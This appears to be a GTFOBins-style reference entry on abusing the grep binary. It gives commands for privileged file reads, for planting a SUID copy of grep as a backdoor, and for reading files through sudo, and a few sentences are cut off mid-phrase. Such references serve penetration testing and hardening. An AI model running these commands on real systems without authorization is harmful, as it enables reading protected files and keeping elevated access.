There are many
grep flavors that in many cases are just copies, symlinks or wrappers around the original binary that may share the same behavior, for example:
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read grep '' $LFILE
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which grep) .; chmod +s ./grep' LFILE=file_to_read ./grep '' $LFILE
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
LFILE=file_to_read sudo grep '' $LFILE